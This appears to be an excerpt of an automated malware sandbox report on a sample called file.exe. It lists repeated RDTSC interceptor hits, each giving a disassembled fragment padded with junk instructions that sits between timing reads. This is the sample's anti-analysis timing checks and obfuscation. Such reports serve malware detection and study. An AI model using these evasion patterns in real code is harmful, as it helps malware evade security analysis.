Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B65 second address: 4CE0B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B139h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B89 second address: 4CE0B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B8D second address: 4CE0B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B91 second address: 4CE0B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE06E0 second address: 4CE06E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE06E6 second address: 4CE06EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05A8 second address: 4CE05D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B132h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2BE511B137h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05D8 second address: 4CE0642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2BE511FAF1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F2BE511FAEEh 0x00000015 mov ebp, esp 0x00000017 jmp 00007F2BE511FAF0h 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F2BE511FAF7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0642 second address: 4CE0677 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2BE511B12Fh 0x00000009 add eax, 3941540Eh 0x0000000f jmp 00007F2BE511B139h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02E4 second address: 4CE033F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F2BE511FAEFh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F2BE511FAF9h 0x0000000f adc ah, FFFFFFF6h 0x00000012 jmp 00007F2BE511FAF1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d mov eax, ebx 0x0000001f pushad 0x00000020 mov ax, bx 0x00000023 mov ebx, 45836F18h 0x00000028 popad 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE033F second address: 4CE0343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0343 second address: 4CE0349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0349 second address: 4CE036D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F2BE511B12Bh 0x00000013 pop eax 0x00000014 mov si, dx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0259 second address: 4CF025F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF025F second address: 4CF0263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0263 second address: 4CF02A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F2BE511FAF0h 0x00000011 pushfd 0x00000012 jmp 00007F2BE511FAF2h 0x00000017 sbb cl, 00000038h 0x0000001a jmp 00007F2BE511FAEBh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF02A2 second address: 4CF02A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF02A8 second address: 4CF02AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D304FE second address: 4D30504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30504 second address: 4D30508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30508 second address: 4D30517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30517 second address: 4D3051B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3051B second address: 4D3051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3051F second address: 4D30525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30525 second address: 4D30542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511B139h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30542 second address: 4D30546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0054C second address: 4D00569 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B139h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00569 second address: 4D00590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BE511FAEDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00590 second address: 4D005C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and dword ptr [eax], 00000000h 0x0000000d jmp 00007F2BE511B12Fh 0x00000012 and dword ptr [eax+04h], 00000000h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2BE511B135h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0513 second address: 4CE0519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0519 second address: 4CE055C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B134h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2BE511B130h 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007F2BE511B131h 0x00000016 mov ah, 16h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b mov ah, B1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D000D3 second address: 4D000EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, 6Dh 0x0000000f mov di, ax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D000EC second address: 4D000F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D000F2 second address: 4D000F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D000F6 second address: 4D00117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2BE511B12Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00117 second address: 4D0011B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0011B second address: 4D00121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00121 second address: 4D00127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00127 second address: 4D001B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F2BE511B12Eh 0x00000013 or al, FFFFFFA8h 0x00000016 jmp 00007F2BE511B12Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F2BE511B138h 0x00000022 jmp 00007F2BE511B135h 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushad 0x0000002d call 00007F2BE511B12Ah 0x00000032 pop eax 0x00000033 mov dx, 8626h 0x00000037 popad 0x00000038 popad 0x00000039 pop ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F2BE511B12Bh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D001B0 second address: 4D001B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D001B6 second address: 4D001C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511B12Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20671 second address: 4D20675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20675 second address: 4D2067B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2067B second address: 4D2069C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2069C second address: 4D206A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D206A0 second address: 4D206A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D206A4 second address: 4D206AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D206AA second address: 4D2075A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2BE511FAF2h 0x00000009 sbb esi, 56CF3588h 0x0000000f jmp 00007F2BE511FAEBh 0x00000014 popfd 0x00000015 mov ch, E9h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F2BE511FAF2h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F2BE511FAF0h 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov di, ax 0x0000002c push esi 0x0000002d jmp 00007F2BE511FAF9h 0x00000032 pop ecx 0x00000033 popad 0x00000034 push ecx 0x00000035 pushad 0x00000036 push ecx 0x00000037 pushfd 0x00000038 jmp 00007F2BE511FAF9h 0x0000003d and ch, 00000016h 0x00000040 jmp 00007F2BE511FAF1h 0x00000045 popfd 0x00000046 pop ecx 0x00000047 popad 0x00000048 mov dword ptr [esp], ecx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2075A second address: 4D2075E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2075E second address: 4D20764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20764 second address: 4D207B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FA65FCh] 0x0000000e pushad 0x0000000f mov cx, ACBDh 0x00000013 mov edi, eax 0x00000015 popad 0x00000016 test eax, eax 0x00000018 jmp 00007F2BE511B134h 0x0000001d je 00007F2C5731E2F3h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F2BE511B137h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207B8 second address: 4D207D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511FAF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207D0 second address: 4D207E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207E9 second address: 4D207ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207ED second address: 4D207F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207F1 second address: 4D207F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207F7 second address: 4D2082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 mov al, A6h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor eax, dword ptr [ebp+08h] 0x0000000d pushad 0x0000000e jmp 00007F2BE511B12Ah 0x00000013 mov ch, E5h 0x00000015 popad 0x00000016 and ecx, 1Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F2BE511B138h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2082F second address: 4D20879 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007F2BE511FAEAh 0x0000000c or cl, 00000078h 0x0000000f jmp 00007F2BE511FAEBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 ror eax, cl 0x0000001a jmp 00007F2BE511FAF6h 0x0000001f leave 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F2BE511FAEAh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20879 second address: 4D2087F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD002D second address: 4CD0054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F2BE511FAF8h 0x00000011 push esi 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0054 second address: 4CD005A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD005A second address: 4CD005E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD005E second address: 4CD0062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0062 second address: 4CD0086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BE511FAF7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0086 second address: 4CD008A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD008A second address: 4CD0090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0090 second address: 4CD009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511B12Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD009F second address: 4CD0108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F2BE511FAF3h 0x00000014 adc ecx, 4773B62Eh 0x0000001a jmp 00007F2BE511FAF9h 0x0000001f popfd 0x00000020 popad 0x00000021 and esp, FFFFFFF8h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F2BE511FAEDh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0108 second address: 4CD0126 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, F2h 0x00000005 push esi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BE511B131h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0126 second address: 4CD012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD012C second address: 4CD0130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0130 second address: 4CD016A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F2BE511FAF9h 0x00000011 xchg eax, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dh, ch 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD016A second address: 4CD01A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B130h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F2BE511B130h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ebx, 0B2E63D4h 0x00000016 mov dl, E9h 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F2BE511B12Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01A7 second address: 4CD01E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F2BE511FAEAh 0x00000015 and cl, FFFFFFE8h 0x00000018 jmp 00007F2BE511FAEBh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01E4 second address: 4CD022B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2BE511B132h 0x0000000c jmp 00007F2BE511B132h 0x00000011 popad 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F2BE511B137h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD022B second address: 4CD0231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0231 second address: 4CD0235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0235 second address: 4CD0275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F2BE511FAF3h 0x00000012 add ch, FFFFFF9Eh 0x00000015 jmp 00007F2BE511FAF9h 0x0000001a popfd 0x0000001b push esi 0x0000001c pop edx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0275 second address: 4CD02AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F2BE511B131h 0x00000010 sbb ecx, 626A6D86h 0x00000016 jmp 00007F2BE511B131h 0x0000001b popfd 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0370 second address: 4CD0374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0374 second address: 4CD037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD037A second address: 4CD03C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F2BE511FAF0h 0x00000015 je 00007F2C5736DD68h 0x0000001b pushad 0x0000001c call 00007F2BE511FAEEh 0x00000021 pushad 0x00000022 popad 0x00000023 pop eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD03C4 second address: 4CD043C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov edx, dword ptr [esi+44h] 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F2BE511B12Fh 0x00000010 or esi, 49ED125Eh 0x00000016 jmp 00007F2BE511B139h 0x0000001b popfd 0x0000001c popad 0x0000001d or edx, dword ptr [ebp+0Ch] 0x00000020 jmp 00007F2BE511B12Ah 0x00000025 test edx, 61000000h 0x0000002b jmp 00007F2BE511B130h 0x00000030 jne 00007F2C5736938Ch 0x00000036 pushad 0x00000037 mov ax, D85Dh 0x0000003b mov ax, 9D59h 0x0000003f popad 0x00000040 test byte ptr [esi+48h], 00000001h 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
